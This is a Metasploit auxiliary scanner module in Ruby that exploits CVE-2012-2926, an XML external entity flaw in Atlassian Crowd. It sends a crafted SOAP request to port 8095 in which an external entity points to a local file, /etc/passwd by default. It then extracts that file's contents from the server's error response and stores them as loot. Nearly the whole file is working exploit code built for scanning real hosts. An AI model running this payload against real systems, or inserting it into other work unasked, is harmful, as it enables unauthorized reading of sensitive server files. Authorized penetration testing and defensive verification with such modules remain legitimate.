##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'         => 'Atlassian Crowd XML Entity Expansion Remote File Access',
			'Description'  =>  %q{
					This module simply attempts to read a remote file from the server using a
				vulnerability in the way Atlassian Crowd handles XML files. The vulnerability
				occurs while trying to expand external entities with the SYSTEM identifier. This
				module has been tested successfully on Linux and Windows installations of Crowd.
			},
			'References'   =>
				[
					[ 'CVE', '2012-2926' ],
					[ 'OSVDB', '82274' ],
					[ 'BID', '53595' ],
					[ 'URL', 'https://www.neg9.org' ], # General
					[ 'URL', 'https://confluence.atlassian.com/display/CROWD/Crowd+Security+Advisory+2012-05-17']
				],
			'Author'       =>
				[
					'Will Caput', # Vulnerability discovery and Metasploit module
					'Trevor Hartman', # Vulnerability discovery
					'Thaddeus Bogner', # Metasploit module
					'juan vazquez' # Metasploit module help
				],
			'License'      => MSF_LICENSE
		)

		register_options(
		[
			Opt::RPORT(8095),
			OptString.new('TARGETURI', [true, 'Path to Crowd', '/crowd/services']),
			OptString.new('RFILE', [true, 'Remote File', '/etc/passwd'])

		], self.class)

		register_autofilter_ports([ 8095 ])
		deregister_options('RHOST')
	end

	def rport
		datastore['RPORT']
	end

	def run_host(ip)
		uri = normalize_uri(target_uri.path)
		res = send_request_cgi({
			'uri'     => uri,
			'method'  => 'GET'})

		if not res
			print_error("#{rhost}:#{rport} Unable to connect")
			return
		end

		accessfile(ip)
	end

	def accessfile(rhost)
		uri = normalize_uri(target_uri.path)
		print_status("#{rhost}:#{rport} Connecting to Crowd SOAP Interface")

		soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
		xmlaut = 'http://authentication.integration.crowd.atlassian.com'
		xmlsoap = 'http://soap.integration.crowd.atlassian.com'
		entity = Rex::Text.rand_text_alpha(rand(4) + 4)

		data = "<!DOCTYPE foo [<!ENTITY #{entity} SYSTEM \"file://#{datastore['RFILE']}\"> ]>" + "\r\n"
		data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:urn="urn:SecurityServer" xmlns:aut="' + xmlaut + '" xmlns:soap="' + xmlsoap + '">' + "\r\n"
		data << '<soapenv:Header/>' + "\r\n"
		data << '<soapenv:Body>' + "\r\n"
		data << '<urn:addAllPrincipals>' + "\r\n"
		data << '<urn:in0>' + "\r\n"
		data << '<!--Optional:-->' + "\r\n"
		data << '<aut:name>?</aut:name>' + "\r\n"
		data << '<!--Optional:-->' + "\r\n"
		data << '<aut:token>?</aut:token>' + "\r\n"
		data << '</urn:in0>' + "\r\n"
		data << '<urn:in1>' + "\r\n"
		data << '<!--Zero or more repetitions:-->' + "\r\n"
		data << '<soap:SOAPPrincipalWithCredential>' + "\r\n"
		data << '<!--Optional:-->' + "\r\n"
		data << '<soap:passwordCredential>' + "\r\n"
		data << '<!--Optional:-->' + "\r\n"
		data << '<aut:credential>?</aut:credential>' + "\r\n"
		data << '<!--Optional:-->' + "\r\n"
		data << '<aut:encryptedCredential>'
		data << "?&#{entity};"
		data << '</aut:encryptedCredential>' + "\r\n"
		data << '</soap:passwordCredential>' + "\r\n"
		data << '<!--Optional:-->' + "\r\n"
		data << '<soap:principal>' + "\r\n"
		data << '<!--Optional:-->' + "\r\n"
		data << '<soap:ID>?</soap:ID>' + "\r\n"
		data << '<!--Optional:-->' + "\r\n"
		data << '<soap:active>?</soap:active>' + "\r\n"
		data << '<!--Optional:-->' + "\r\n"
		data << '<soap:attributes>' + "\r\n"
		data << '<!--Zero or more repetitions:-->' + "\r\n"
		data << '<soap:SOAPAttribute>' + "\r\n"
		data << '<!--Optional:-->' + "\r\n"
		data << '<soap:name>?</soap:name>' + "\r\n"
		data << '<!--Optional:-->' + "\r\n"
		data << '<soap:values>' + "\r\n"
		data << '<!--Zero or more repetitions:-->' + "\r\n"
		data << '<urn:string>?</urn:string>' + "\r\n"
		data << '</soap:values>' + "\r\n"
		data << '</soap:SOAPAttribute>' + "\r\n"
		data << '</soap:attributes>' + "\r\n"

		res = send_request_cgi({
				'uri'      => uri,
				'method'   => 'POST',
				'ctype'    => 'text/xml; charset=UTF-8',
				'data'     => data,
				'headers'  => {
					'SOAPAction'    => '""',
				}}, 60)

		if res and res.code == 500
			case res.body
			when /<faultstring\>Invalid boolean value: \?(.*)<\/faultstring>/m
				loot = $1
				if not loot or loot.empty?
					print_status("#{rhost}#{rport} Retrieved empty file from #{rhost}:#{rport}")
					return
				end
				f = ::File.basename(datastore['RFILE'])
				path = store_loot('atlassian.crowd.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
				print_status("#{rhost}:#{rport} Atlassian Crowd - #{datastore['RFILE']} saved in #{path}")
				return
			end
		end

		print_error("#{rhost}#{rport} Failed to retrieve file from #{rhost}:#{rport}")
	end

end